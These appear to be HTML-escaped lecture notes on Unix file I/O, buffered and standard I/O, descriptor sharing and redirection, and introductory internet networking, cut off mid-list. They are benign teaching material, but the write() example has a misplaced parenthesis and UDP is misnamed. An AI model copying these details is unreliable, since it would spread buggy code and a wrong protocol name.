&lt;h3&gt;Closing Files&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Closing a file informs the kernel that you are finished accessing that file&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;int fd;     /* file descriptor */
int retval; /* return value */

if ((retval = close(fd)) &amp;lt; 0) {
  perror(&quot;close&quot;);
  exit(1);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Closing an already closed file is a recipe for disaster in threaded programs&lt;/li&gt;
&lt;li&gt;Moral: Always check return codes, even for seemingly benign functions such as &lt;code&gt;close()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Reading Files&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Reading a file copies bytes from the current file position to memory, and then updates file position&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;char buf[512];
int fd;     /* file descriptor */
int nbytes; /* number of bytes read */

/* Open file fd ... */
/* Then read up to 512 bytes from file fd */
if ((nbytes = read(fd, buf, sizeof(buf))) &amp;lt; 0) {
  perror(&quot;read&quot;);
  exit(1);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Returns number of bytes read from file &lt;em&gt;fd&lt;/em&gt; into &lt;em&gt;buf&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Writing Files&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Writing a file copies bytes from memory to the current file position, and then updates current file position&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;char buf[512];
int fd;     /* file descriptor */
int nbytes; /* number of bytes read */

/* Open the file fd ... */
/* Then write up to 512 bytes from buf to file fd */
if ((nbytes = write(fd, buf, sizeof(buf)) &amp;lt; 0) {
  perror(&quot;write&quot;);
  exit(1);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Returns number of bytes written from &lt;em&gt;buf&lt;/em&gt; to file &lt;em&gt;fd&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Short Counts&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Short counts can occur in these situations:
&lt;ul&gt;
&lt;li&gt;Encountering (end-of-file) EOF on reads&lt;/li&gt;
&lt;li&gt;Reading text lines from a terminal&lt;/li&gt;
&lt;li&gt;Reading and writing network sockets&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Short counts never occur in these situations:
&lt;ul&gt;
&lt;li&gt;Reading from disk files (except for EOF)&lt;/li&gt;
&lt;li&gt;Writing to disk files&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Best practice is to always allow for short counts&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;ssize_t readn(int fd, void *buf, size_t size) {
  char *ptr = buf;
  size_t nleft = size;
  ssize_t nread;

  while (nleft &amp;gt; 0) {
    nread = read(fd, ptr, nleft);

    if (nread &amp;lt; 0)
      return -1; // error
    if (nread == 0)
      break; // EOF

    nleft -= nread;
    ptr += nread;
  }

  return (size - nleft);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Buffered I/O&lt;/h2&gt;
&lt;h3&gt;Motivation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Applications open read/write one character at a time
&lt;ul&gt;
&lt;li&gt;Read line of text one character at a time, stopping at newline&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Implementing as Unix I/O calls expensive
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;read&lt;/code&gt; and &lt;code&gt;write&lt;/code&gt; require Unix kernel calls
&lt;ul&gt;
&lt;li&gt;$&amp;gt; 10000$ clock cycles&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Solution: Buffered read
&lt;ul&gt;
&lt;li&gt;Use Unix &lt;em&gt;read&lt;/em&gt; to grab block of bytes&lt;/li&gt;
&lt;li&gt;User input functions take one byte at a time from buffer
&lt;ul&gt;
&lt;li&gt;Refill buffer when empty&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.32i9yxiff2.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Example&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Goal: Copying &lt;code&gt;stdin&lt;/code&gt; to &lt;code&gt;stdout&lt;/code&gt;, one byte at a time&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Without builtin buffer&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;int main() {
  char c;
  while (read(STDIN_FILENO, &amp;amp;c, sizeof(char)))
    write(STDOUT_FILENO, &amp;amp;c, sizeof(char));

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;To many &lt;code&gt;read&lt;/code&gt; system calls, wasteful !&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;With builtin buffer&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;#define BUFFER_SIZE 1024

ssize_t buffered_getchar(int fd, char *c) {
  static char buf[BUFFER_SIZE];
  static size_t size = 0;
  static size_t pos = 0;

  if (pos &amp;gt;= size) {
    size = read(fd, buf, BUFFER_SIZE);

    if (size &amp;lt;= 0) {
      return -1; // EOF or error
    }
    pos = 0;
  }
  *c = buf[pos++];

  return 1; // success got 1 character
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Only one &lt;code&gt;read&lt;/code&gt; system call.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Metadata, Sharing, and Redirection&lt;/h2&gt;
&lt;h3&gt;File Metadata&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Metadata is data about data, in this case file data&lt;/li&gt;
&lt;li&gt;Per-file metadata maintained by kernel
&lt;ul&gt;
&lt;li&gt;Accessed by users with the &lt;code&gt;stat&lt;/code&gt; and &lt;code&gt;fstat&lt;/code&gt; functions&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;/* Metadata returned by the stat and fstat functions */
struct stat {
  dev_t st_dev;             /* Device */
  ino_t st_ino;             /* inode */
  mode_t st_mode;           /* Protection and file type */
  nlink_t st_nlink;         /* Number of hard links */
  uid_t st_uid;             /* User ID of owner */
  gid_t st_gid;             /* Group ID of owner */
  dev_t st_rdev;            /* Device type (if inode device) */
  off_t st_size;            /* Total size, in bytes */
  unsigned long st_blksize; /* Blocksize for filesystem I/O */
  unsigned long st_blocks;  /* Number of blocks allocated */
  time_t st_atime;          /* Time of last access */
  time_t st_mtime;          /* Time of last modification */
  time_t st_ctime;          /* Time of last change */
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Example of Accessing Metadata&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;int main(int argc, char **argv) {
  struct stat file_stat;
  char *type, *readok;

  stat(argv[1], &amp;amp;file_stat);

  if (S_ISREG(file_stat.st_mode))    /* Determine file type */
    type = &quot;regular&quot;;
  else if (S_ISDIR(file_stat.st_mode))
    type = &quot;directory&quot;;
  else
    type = &quot;other&quot;;
  if ((file_stat.st_mode &amp;amp; S_IRUSR)) /* Check read access */
    readok = &quot;yes&quot;;
  else
    readok = &quot;no&quot;;

  printf(&quot;type: %s, read: %s\n&quot;, type, readok);
  exit(0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Represents Open Files&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Two descriptors referencing two distinct open files. Descriptor 1 (stdout) points to terminal, and descriptor 4 points to open disk file&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.77dvalgr0d.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;File Sharing&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Two distinct descriptors sharing the same disk file through two distinct open file table entries
&lt;ul&gt;
&lt;li&gt;E.g., Calling open twice with the same filename argument&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6t7fjqff22.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Processes Share Files: fork&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;A child process inherits its parent&apos;s open files
&lt;ul&gt;
&lt;li&gt;Note: situation unchanged by exec functions (use &lt;code&gt;fcntl&lt;/code&gt; to change)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Before fork call:&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5fkwfp776w.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;After fork call:&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5q7q8unvle.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Child&apos;s table same as parent&apos;s, and +1 to each refcnt&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;I/O Redirection&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;dup2(oldfd, newfd)&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Copies (per-process) descriptor table entry &lt;code&gt;oldfd&lt;/code&gt; to entry &lt;code&gt;newfd&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.b97qg02me.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;Example&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Open file to which stdout should be redirected
&lt;ul&gt;
&lt;li&gt;Happens in child executing shell code, before &lt;code&gt;exec&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5fkwfp776w.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Call &lt;code&gt;dup2(4,1)&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Cause fd=1 (stdout) to refer to disk file pointed at by fd=4&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.64e5zqr4gh.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;Standard I/O&lt;/h2&gt;
&lt;h3&gt;Standard I/O Streams&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Standard I/O models open files as streams
&lt;ul&gt;
&lt;li&gt;Abstraction for a file descriptor and a buffer in memory&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;C programs begin life with three open streams (defined in &lt;code&gt;stdio.h&lt;/code&gt;)
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;stdin&lt;/code&gt;: standard input&lt;/li&gt;
&lt;li&gt;&lt;code&gt;stdout&lt;/code&gt;: standard output&lt;/li&gt;
&lt;li&gt;&lt;code&gt;stderr&lt;/code&gt;: standard error&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

extern FILE *stdin;  /* standard input (descriptor 0) */
extern FILE *stdout; /* standard output (descriptor 1) */
extern FILE *stderr; /* standard error (descriptor 2) */

int main() {
  fprintf(stdout, &quot;Hello, world\n&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Buffering in Standard I/O&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Standard I/O functions use buffered I/O&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.86tyo7q78o.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int main() {
  printf(&quot;h&quot;);
  printf(&quot;e&quot;);
  printf(&quot;l&quot;);
  printf(&quot;l&quot;);
  printf(&quot;o&quot;);
  printf(&quot;\n&quot;);
  fflush(stdout);
  exit(0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Buffer flushed to output fd on &lt;code&gt;\n&lt;/code&gt;, call to &lt;code&gt;fflush&lt;/code&gt; or &lt;code&gt;exit&lt;/code&gt;, or &lt;code&gt;return&lt;/code&gt; from main&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Network Programming&lt;/h1&gt;
&lt;h2&gt;A Client-Server Transaction&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Most network applications are based on the client-server model:
&lt;ul&gt;
&lt;li&gt;A server process and one or more client processes&lt;/li&gt;
&lt;li&gt;Server manages some resources&lt;/li&gt;
&lt;li&gt;Server provides service by manipulating resource for clients&lt;/li&gt;
&lt;li&gt;Server activated by request from client (vending machine analogy)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.39lhxow3xq.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;Hardware Organization of a Network Host&lt;/h2&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6ikluckl12.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;Computer Networks&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;A &lt;em&gt;network&lt;/em&gt; is a hierarchical system of boxes and wires organized by geographical proximity
&lt;ul&gt;
&lt;li&gt;SAN (System Area Network) spans cluster or machine room
&lt;ul&gt;
&lt;li&gt;Switched Ethernet, Quadrics QSW, ...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;LAN (Local Area Network) spans a building or campus
&lt;ul&gt;
&lt;li&gt;Ethernet is most prominent example&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;WAN (Wide Area Network) spans country or world
&lt;ul&gt;
&lt;li&gt;Typically high-speed point-to-point phone lines&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;An &lt;em&gt;internetwork (internet)&lt;/em&gt; is an interconnected set of networks
&lt;ul&gt;
&lt;li&gt;The Global IP Internet (uppercase &quot;I&quot;) is the most famous example of an internet (lowercase &quot;i&quot;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Lowest Level: Ethernet Segment&lt;/h3&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2h8mfz4s04.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ethernet segment consists of a collection of &lt;em&gt;hosts&lt;/em&gt; connected by wires (twisted pairs) to a &lt;em&gt;hub&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Spans room or floor in a building&lt;/li&gt;
&lt;li&gt;Operation
&lt;ul&gt;
&lt;li&gt;Each Ethernet adapter has a unique 48-bit address (MAC address)
&lt;ul&gt;
&lt;li&gt;E.g., &lt;code&gt;00:16:ea:e3:54:e6&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Hosts send bits to any other host in chunks called &lt;em&gt;frames&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Hub slavishly copies each bit from each port to every other port
&lt;ul&gt;
&lt;li&gt;Every host sees every bit&lt;/li&gt;
&lt;li&gt;Note: Hubs are on their way out. Bridges (switches, routers) became cheap enough to replace them&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Next Level: Bridged Ethernet Segment&lt;/h3&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3uv5k0i2h2.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Spans building or campus&lt;/li&gt;
&lt;li&gt;Bridges cleverly learn which hosts are reachable from which ports and then selectively copy frames from port to port&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Conceptual View of LANs&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;For simplicity, hubs, bridges, and wires are often shown as a collection of hosts attached to a single wire:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6t7fnixz7p.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Next Level: internets (lower case)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Multiple incompatible LANs can be physically connected by specialized computers called &lt;em&gt;routers&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;The connected networks are called an &lt;em&gt;internet (lower case)&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6f0zwnrlpo.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;Logical Structure of an internet&lt;/h4&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.102he8lxu9.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ad hoc interconnection of networks
&lt;ul&gt;
&lt;li&gt;No particular topology&lt;/li&gt;
&lt;li&gt;Vastly different router &amp;amp; link capacities&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Send packets from source to destination by hopping through networks
&lt;ul&gt;
&lt;li&gt;Router forms bridge from one network to another&lt;/li&gt;
&lt;li&gt;Different packets may take different routes&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The Notion of an internet Protocol&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;How is it possible to send bits across incompatible LANs and WANs ?&lt;/li&gt;
&lt;li&gt;Solution: &lt;em&gt;protocol&lt;/em&gt; software running on each host and router
&lt;ul&gt;
&lt;li&gt;Protocol is a set of rules that governs how hosts and routers should cooperate when they transfer data from network to network&lt;/li&gt;
&lt;li&gt;Smooths out the differences between the different networks&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;What Does an internet Protocol Do ?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Provides a &lt;em&gt;naming scheme&lt;/em&gt;
&lt;ul&gt;
&lt;li&gt;An internet protocol defines a uniform format for &lt;em&gt;host addresses&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Each host (and router) is assigned at least one of these internet addresses that uniquely identifies it&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Provides a &lt;em&gt;delivery mechanism&lt;/em&gt;
&lt;ul&gt;
&lt;li&gt;An internet protocol defines a standard transfer unit (&lt;em&gt;packet&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;Packet consists of &lt;em&gt;header&lt;/em&gt; and &lt;em&gt;payload&lt;/em&gt;
&lt;ul&gt;
&lt;li&gt;Header: contains info such as packet size, source and destination addresses&lt;/li&gt;
&lt;li&gt;Payload: contains data bits sent from source host&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Transferring internet Data Via Encapsulation&lt;/h2&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3nrxombk5z.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;Other Issues&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;We are glossing over a number of important questions:
&lt;ul&gt;
&lt;li&gt;What if different networks have different maximum frame sizes ? (segmentation)&lt;/li&gt;
&lt;li&gt;How do routers know where to forward frames ?&lt;/li&gt;
&lt;li&gt;How are routers informed when the network topology changes ?&lt;/li&gt;
&lt;li&gt;What if packets get lost ?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;These (and other) questions are addressed by the area of systems known as &lt;em&gt;computer networking&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Global IP Internet (upper case)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Most famous example of an internet&lt;/li&gt;
&lt;li&gt;Based on the TCP/IP protocol family
&lt;ul&gt;
&lt;li&gt;IP (Internet Protocol):
&lt;ul&gt;
&lt;li&gt;Provides basic naming scheme and unreliable delivery capability of packets (datagrams) from host-to-host&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;UDP (Unreliable Datagram Protocol)
&lt;ul&gt;
&lt;li&gt;Uses IP to provide unreliable datagram delivery from process-to-process&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;TCP (Transmission Control Protocol)
&lt;ul&gt;
&lt;li&gt;Uses IP to provide reliable byte streams from process-to-process over connections&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Accessed via a mix of Unix file I/O and functions from the sockets interface&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Hardware and Software Organization of an Internet Application&lt;/h3&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.70anj0giea.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;A Programmer&apos;s View of the Internet&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Hosts are mapped to a set of 32-bit &lt;em&gt;IP addresses&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;The set of IP addresses is mapped to a set of identifiers called Internet &lt;em&gt;domain names&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;A process on one Internet host can communicate with a process on another Internet host over a &lt;em&gt;connection&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Aside: IPv4 and IPv6&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The original Internet Protocol, with its 32-bit addresses, is
known as &lt;em&gt;Internet Protocol Version 4 (IPv4)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;1996: Internet Engineering Task Force (IETF) introduced &lt;em&gt;Internet Protocol Version 6 (IPv6)&lt;/em&gt; with 128-bit addresses
&lt;ul&gt;
&lt;li&gt;Intended as the successor to IPv4&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;IP Addresses&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;32-bit IP addresses are stored in an &lt;em&gt;IP address struct&lt;/em&gt;
&lt;ul&gt;
&lt;li&gt;IP addresses are always stored in memory in &lt;em&gt;network byte order&lt;/em&gt; (big-endian byte order)&lt;/li&gt;
&lt;li&gt;True in general for any integer transferred in a packet header from one machine to another
&lt;ul&gt;
&lt;li&gt;E.g., the port number used to identify an Internet connection&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;/* Internet address structure */
struct in_addr {
  uint32_t s_addr; /* network byte order (big-endian) */
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Dotted Decimal Notation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;By convention, each byte in a 32-bit IP address is represented by its decimal value and separated by a period
&lt;ul&gt;
&lt;li&gt;IP address: &lt;code&gt;0x8002C2F2 = 128.2.194.242&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;getaddrinfo&lt;/code&gt; and &lt;code&gt;getnameinfo&lt;/code&gt; functions to convert between IP addresses and dotted decimal format&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;IP Address Structure&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;IP (V4) Address space divided into classes:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.361w0affk7.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Network ID Written in form &lt;code&gt;w.x.y.z/n&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;n = number of bits in network address (Net ID)&lt;/li&gt;
&lt;li&gt;E.g., CMU written as 128.2.0.0/16
&lt;ul&gt;
&lt;li&gt;Class B address&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Unrouted (private) IP addresses:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;10.0.0.0/8&lt;/code&gt;, &lt;code&gt;172.16.0.0/12&lt;/code&gt;, &lt;code&gt;192.168.0.0/16&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Internet Domain Names&lt;/h2&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.54y2qeyeg2.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;Domain Naming System (DNS)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The Internet maintains a mapping between IP addresses and domain names in a huge worldwide distributed database called &lt;em&gt;DNS&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Conceptually, programmers can view the DNS database as a collection of millions of &lt;em&gt;host entries&lt;/em&gt;
&lt;ul&gt;
&lt;li&gt;Each host entry defines the mapping between a set of domain names and IP addresses&lt;/li&gt;
&lt;li&gt;In a mathematical sense, a host entry is an equivalence class of domain names and IP addresses&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Basic Internet Components&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Internet backbone
&lt;ul&gt;
&lt;li&gt;Collection of routers (nationwide or worldwide) connected by high-speed point-to-point networks&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Internet Exchange Points (IXP)
&lt;ul&gt;
&lt;li&gt;Router that connects multiple backbones (often referred to as peers)&lt;/li&gt;
&lt;li&gt;Also called Network Access Points (NAP)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Regional networks
&lt;ul&gt;
